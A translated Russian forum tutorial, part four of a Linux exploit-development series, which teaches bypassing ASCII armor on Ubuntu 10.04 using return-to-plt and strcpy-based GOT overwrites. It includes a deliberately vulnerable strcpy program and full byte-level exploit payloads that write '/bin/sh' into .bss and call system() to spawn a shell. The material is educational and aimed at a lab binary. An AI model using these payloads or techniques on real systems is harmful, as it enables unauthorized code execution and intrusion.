RDot

RDot (https://rdot.org/forum/index.php)
-   Чужие статьи/Переводы;Foreign articles/translations (https://rdot.org/forum/forumdisplay.php?f=32)
-   -   Разработка эксплоитов для Linux. Часть 4 – обход ASCII armor и возврат в plt (https://rdot.org/forum/showthread.php?t=2085)

<Gh0St> 07.04.2012 00:10

Разработка эксплоитов для Linux. Часть 4 – обход ASCII armor и возврат в plt
 
Автор: sickness
Блог автора: http://sickness.tor.hu/
Перевод: <Gh0St>
07.04.2012

Разработка эксплоитов для Linux. Часть 4 – обход ASCII armor и возврат в plt.

ПРИМЕЧАНИЕ: Перед чтением данного документа, рекомендуется ознакомиться со следующими работами:
В третьей части данного руководства использовалась технология ret2libc, чтобы обойти неисполняемый стек (NX), однако, как было сказано ранее, этот метод нестабилен.


Причина?
Ранее использовался адрес строки "/bin/bash" располагающийся в переменной окружения. Переменные окружения находятся в динамической части стека и адрес "/bin/bash" может измениться.

В предыдущих частях данного руководства для тестирования эксплоитов использовались BackTrack 4 и Debian Squeeze. В данном руководстве эксплоит будет создан на Ubuntu 10.04 (С включённым ASCII-Armor).

Необходимые навыки:
  • Понимание концепции переполнения буфера;
  • Владение основными понятиями ASM и C/C++;
  • Понимание основной терминологии , используемой при написании эксплоитов;
  • Понимание основных принципов работы GDB;
  • Понимание основных способов эксплуатации уязвимостей;

Данное руководство не будет понятным пользователям, которые не владеют вышеуказанными знаниями.


Теория.
Перед разработкой эксплоита, ознакомимся с некоторыми теоретическими аспектами.
Атаки ret2libc уже достаточно известны, использование этой техники выглядит примерно следующим образом:
Код:

##############################
МУСОР + system(перезапись EIP) + exit() + адрес “/bin/bash”
##############################

Почему это больше не работает?
Ответ прост: ASLR и ASCII-Armor.
ASLR (Address Space Layout Randomization): Чтобы получить рабочий эксплоит и сделать его надёжным, необходимо знать адреса system(), exit() и "/bin/bash”.
Основная цель ASLR - это случайное распределение адресов в адресном пространстве процесса.

Информация об ASLR

ASCII-Armor отображает важные адреса библиотек, таких как libc, в памяти, как содержащие нулевой байт, что делает использование библиотечных функций невозможным.

ПРИМЕЧАНИЕ: В данном руководстве не рассматривается обход ASLR, только ASCII-Armor и стабильный метод ret2libc.
Начнём!


Уязвимый код.
Код:

##############################
#include <stdio.h>
#include <string.h>

char fakebuffer[] =
"\x16\x00\x71\x00"
"\x00\x68\x73\x2f\x6e\x69\x62\x2f"
"\x01\x02\x03\x04\x05\x06\x07\x08\x0c\x0e\x0f\x10\x11\x12\x13"
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23"
"\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e"
"\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d"
"\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa"
"\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9"
"\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8"
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7"
"\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6"
"\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5"
"\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";

void myfunction(char* input)
{
char buffer[500];
strcpy(buffer, input); // Vulnerable function!
printf ("buffer is %s \n",buffer);
}

int main(int argc, char** argv)
{
myfunction(argv[1]);
printf("bye\n");
return 0;
}
##############################

Скомпилируем приложение, отключив SSP (Stack Smashing Protector).
http://s020.radikal.ru/i707/1402/e1/b48d39f5acaf.jpg
Рисунок 1

Запустим приложение через отладчик и увидим, что для перезаписи EIP нужно 516 байт.
http://i019.radikal.ru/1402/54/858489162394.jpg
Рисунок 2

Для обхода NX использовались функции из libc, но теперь появилась небольшая проблема. Если выполнить команду "info files", можно заметить, что адреса в libc содержат нулевой байт.
http://s020.radikal.ru/i719/1402/70/7ef221560fc8.jpg
Рисунок 3

Итак, libc содержит нулевой байт, следовательно, функция system() так же будет содержать нулевой байт, и это немного усложняет задачу.
http://s003.radikal.ru/i204/1402/db/4b4853bd201c.jpg
Рисунок 4


Ещё теория.
В Linux вызов функций из внешних библиотек осуществляется через разделы таблицы связки подпрограмм (Procedure Linkage Table, PLT), в которых располагаются фиксированные адреса на функции из глобальной таблицы смещений (Global Offset Table, GOT). При переходе по адресу в PLT, выполняется прыжок на адрес в GOT.

Когда вызывается библиотечная функция, через раздел в PLT выполняется переход по адресу, указанному в GOT для вызываемой функции. При первом вызове функции, GOT указывает на раздел в PLT, содержащий смещение функции в стеке. Затем вызывается загрузчик функции, который рассчитает реальный адрес функции, запишет его в GOT и затем выполнит переход по этому адресу. При следующем вызове функции, GOT уже будет содержать адрес функции, и программа сможет перейти по нему.

Примечание переводчика: Иначе говоря, если библиотечная функция вызывается впервые, её адрес будет динамически рассчитан и записан в GOT. При следующем вызове этой функции, её адрес уже будет известен.

ПРИМЕЧАНИЕ: Если изложенный теоретический материал был не понятен, не волнуйтесь, далее, на практике, всё будет выполнено шаг за шагом.

Очевидно, необходимо использовать функции работы с памятью (strcpy, sprintf, memcpy, и т.д.). В нашем случае выберем strcpy() и puts(), проверим функции в отладчике, выполнив команду "info functions".
http://i016.radikal.ru/1402/95/801e6a767968.jpg
Рисунок 5

Если внимательно присмотреться, то можно увидеть, что каждая функция выполняет переход в GOT, а затем переход по одному и тому же адресу.
http://s020.radikal.ru/i721/1402/a1/8e06eadd0fb2.jpg
Рисунок 6

Теперь необходимо сделать цепочку возвратов на strcpy@plt таким образом, чтобы была возможность передать "полезную нагрузку" в адрес функции puts() в GOT, где мы сможем вызвать её позже. Полезной нагрузкой будет адрес функции system(), которая содержит нулевой байт.

Скелет будущего эксплоита будет выглядеть примерно так:
Код:

##############################
МУСОР +
strcpy@plt + pop pop ret + puts в GOT [0] + адрес байта [1] +
strcpy@plt + pop pop ret + puts в GOT [1] + адрес байта [2] +
strcpy@plt + pop pop ret + puts в GOT [2] + адрес байта [3] +
strcpy@plt + pop pop ret + puts в GOT [3] + адрес байта [4] +
puts в plt + МУСОР (вместо exit()) + адрес /bin/bash
##############################

Примечание переводчика: В строках со 2-й по 5-ю происходит побайтная перезапись адреса puts в GOT адресом system. В 6-й строке применяется техника, похожая на ret2libc: записывается адрес puts@plt, затем 4 байта мусорных данных и аргумент для функции system (адрес /bin/bash).

При переходе по адресу puts@plt, будет выполнен переход на puts@got, только вместо адреса puts, на этом месте будет располагаться адрес system. Затем будет выполнена функция system с переданным для неё аргументом.


Поиск функций и гаджетов.
Глядя на скелет эксплоита, начнем собирать то, что нам нужно:

A. STRCPY
http://s019.radikal.ru/i631/1402/1c/09e6cb95841d.jpg
Рисунок 7

Адрес функции strcpy() = 0x08048344 → \x44\x83\x04\x08

B. P/P/R
http://i047.radikal.ru/1402/15/2df309efdef3.jpg
Рисунок 8

Гаджет P/P/R необходим для того, чтобы перепрыгнуть через аргументы функции strcpy(). Если P/P/R недоступен (маловероятно, что это возможно), можно использовать ADD ESP, 8.
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08

C. PUTS
http://s006.radikal.ru/i214/1402/8e/a7c9d06e0e4a.jpg
Рисунок 9

Адрес функции puts() в GOT = *0x804967c → \x7c\x96\x04\x08
Адрес функции puts() в PLT = 0x08048364 → \x64\x83\x04\x08

D. BASH
http://s019.radikal.ru/i620/1402/30/6af73b767010.jpg
Рисунок 10

http://s52.radikal.ru/i137/1402/b2/d908ac80e21b.jpg
Рисунок 11

http://s018.radikal.ru/i504/1402/19/20bb115db9bf.jpg
Рисунок 12

Адрес /bin/bash = 0xbffff6a4 → \xa4\xf6\xff\xbf

E. SYSTEM
http://s019.radikal.ru/i630/1402/76/98ac72db06af.jpg
Рисунок 13

Адрес функции system() = 0x167100
System содержит нулевой байт. Для построения адреса system, необходимо найти каждый байт по отдельности с помощью strcpy().
Для определения диапазона поиска необходимых байт, проверим, где приложение начинается и где заканчивается.

http://s017.radikal.ru/i420/1402/62/c97c2d2eeda3.jpg
Рисунок 14


Поиск байт.
Необходимо найти 4 шестнадцатеричных значения: 0x00, 0x71, 0x16, 0x00.
http://s019.radikal.ru/i601/1402/8b/62b3b39a2c21.jpg
Рисунок 15

0x00 = 0x8048127 → \x27\x81\x04\x08
http://s020.radikal.ru/i707/1402/de/5ee51e60796b.jpg
Рисунок 16

0x71 = 0x80496a2 → \xa2\x96\x04\x08
http://s52.radikal.ru/i137/1402/52/8b4bde6b63ea.jpg
Рисунок 17

0x16 = 0x80496a0 → \xa0\x96\x04\x08

Обладая всеми необходимыми адресами, можно приступить к написанию эксплоита:
Адрес strcpy() = 0x08048344 → \x44\x83\x04\x08
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08
Адрес puts в GOT = *0x804967c → \x7c\x96\x04\x08
Адрес puts в PLT = 0x08048364 → \x64\x83\x04\x08
Адрес /bin/bash = 0xbffff6a4 → \xa4\xf6\xff\xbf
Адрес system() = 0x167100
0x00 = 0x8048127 → \x27\x81\x04\x08
0x71 = 0x80496a2 → \xa2\x96\x04\x08
0x16 = 0x80496a0 → \xa0\x96\x04\x08
0x00 = 0x8048127 → \x27\x81\x04\x08


Написание эксплоита.
Код:

##############################
МУСОР * 512
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7c\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7d\x96\x04\x08" + "\xa2\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7e\x96\x04\x08" + "\xa0\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7f\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x64\x83\x04\x08" + "\x41\x41\x41\x41" + "\xa4\xf6\xff\xbf"
##############################

Запустим и проверим.
http://s019.radikal.ru/i624/1402/86/b78836f87232.jpg
Рисунок 18

ПРИМЕЧАНИЕ: При получении ошибки, проверьте корректность адресов и попробуйте снова.

Адрес функции system() был успешно записан, обход ASCII-Armor, выполнен, но что-то не так. Адрес /bin/bash жёстко задан, что делает его использование нестабильным.


Что теперь?
Используя технику return-to-plt, запишем строку “/bin/bash\x00” в фиксированной области стека для вызова её в качестве аргумента функции system().
Помимо адреса функции strcpy() и гаджета p/p/r, необходимо следующее:

1. Место, для записи строки, обычно это сегмент .bss или .data.
http://s019.radikal.ru/i629/1402/c1/670c73170ba5.jpg
Рисунок 19

Адрес .bss = 0x080497a8 → \xa8 \x97\x04\x08

2. Строка “/bin/sh\x00” в шестнадцатеричном представлении.
Быстрый способ конвертировать строку: перейдите по ссылке Binary Translator, введите строку “/bin/sh” в окно с заголовком TEXT и нажмите на кнопку encode. Шестнадцатеричные символы для строки: 2f 62 69 6e 2f 73 68 и 00.
“/bin/sh\x00” = 2f 62 69 6e 2f 73 68 00

Прежде чем продолжить, следует отметить, что при записи адреса функции system(), использовался прямой порядок байтов (байт справа налево). Но в случае с “/bin/sh\x00”, записывается строка, а не указатель, поэтому каждый байт будет записываться в таком же порядке.
ПРИМЕЧАНИЕ: Адреса каждого байта будут написаны с использованием прямого порядка байтов.


Скелет эксплоита и поиск байтов.
Код:

##############################
МУСОР
+ strcpy@plt + pop pop ret + адрес .bss[0] + адрес “/”
+ strcpy@plt + pop pop ret + адрес .bss[1] + адрес “b”
+ strcpy@plt + pop pop ret + адрес .bss[2] + адрес “i”
+ strcpy@plt + pop pop ret + адрес .bss[3] + адрес “n”
+ strcpy@plt + pop pop ret + адрес .bss[4] + адрес “/”
+ strcpy@plt + pop pop ret + адрес .bss[5] + адрес “s”
+ strcpy@plt + pop pop ret + адрес .bss[6] + адрес “h”
+ strcpy@plt + pop pop ret + адрес .bss[7] + адрес 0x00
+ strcpy@plt + pop pop ret + puts[0] в GOT + адрес 0x00
+ strcpy@plt + pop pop ret + puts[1] в GOT + адрес 0x71
+ strcpy@plt + pop pop ret + puts[2] в GOT + адрес 0x16
+ strcpy@plt + pop pop ret + puts[3] в GOT + адрес 0x00
+ puts в PLT + МУСОР (вместо exit()) + адрес .bss[0]
##############################

Теперь ищем каждый байт адреса так же, как для функции system().
0x2f = 0x80496ab → \xab\x96\x04\x08
0x62 = 0x8049708 → \x08\x97\x04\x08
0x69 = 0x80496a9 → \xa9\x96\x04\x08
0x6e = 0x80496a8 → \xa8\x96\x04\x08
0x2f = 0x80496ab → \xab\x96\x04\x08
0x73 = 0x80496a6 → \xa6\x96\x04\x08
0x68 = 0x80496a5 → \xa5\x96\x04\x08
0x00 = 0x8048127 → \x27\x81\x04\x08

В данном примере используется та же концепция, как при первом вызове system(), только на этот раз вместо того, чтобы писать байты в GOT, мы будем записывать их в сегмент .bss. Сначала сохраним строку “/bin/bash\x00”, потом сохраним system() и вызовем их.

Адрес strcpy() = 0x08048344 → \x44\x83\x04\x08
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08
Адрес .bss = 0x080497a8 → \xa8 \x97\x04\x08


Итоговый эксплоит.
Код:

##############################
МУСОР * 512
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xa8\x97\x04\x08" + "\xab\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xa9\x97\x04\x08" + "\x08\x97\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xaa\x97\x04\x08" + "\xa9\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xab\x97\x04\x08" + "\xa8\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xac\x97\x04\x08" + "\xab\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xad\x97\x04\x08" + "\xa6\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xae\x97\x04\x08" + "\xa5\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xaf\x97\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7c\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7d\x96\x04\x08" + "\xa2\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7e\x96\x04\x08" + "\xa0\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7f\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x64\x83\x04\x08" + "\x41\x41\x41\x41" + "\xa8\x97\x04\x08"
##############################

Проверка эксплоита.
Для того, чтобы убедиться, что строка была скопирована правильно, поставим точку останова на функции strcpy(), запустим эксплоит и проверим регистры. В первый раз регистры %ebp, %ebx и %eax должны содержать нормальные значения. Во второй и третий раз %ebp должен содержать "\x41\x41\x41\x41". Если продолжить выполнение и проверить регистры, можно увидеть, что %eax и %ebx содержат адрес .bss, по которому будет записан текущий байт и %ebp, содержащий адрес байта.
http://s006.radikal.ru/i213/1402/c1/25d94a4e7cef.jpg
Рисунок 20

В этом случае:
%eax и %ebx = 0x80497a8 содержат адрес .bss[0]
%ebp = 0x80496ab содержит 0x2f → адрес “/”

Когда продолжите выполнение, вы увидите каждый байт строки. Как только все байты из строки разместятся, можно проверить адрес .bss[0], чтобы убедиться, что строка была корректно записана.
http://s019.radikal.ru/i641/1402/69/e3bc1d6a21d9.jpg
Рисунок 21

Если всё верно, продолжайте и будет запущена командная оболочка.
http://s45.radikal.ru/i109/1402/61/a2a2db0a8d47.jpg
Рисунок 22

suv121 02.02.2014 17:41

картинки не отображаются

<Gh0St> 15.02.2014 14:55

Обновил


Часовой пояс GMT +3, время: 17:21.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot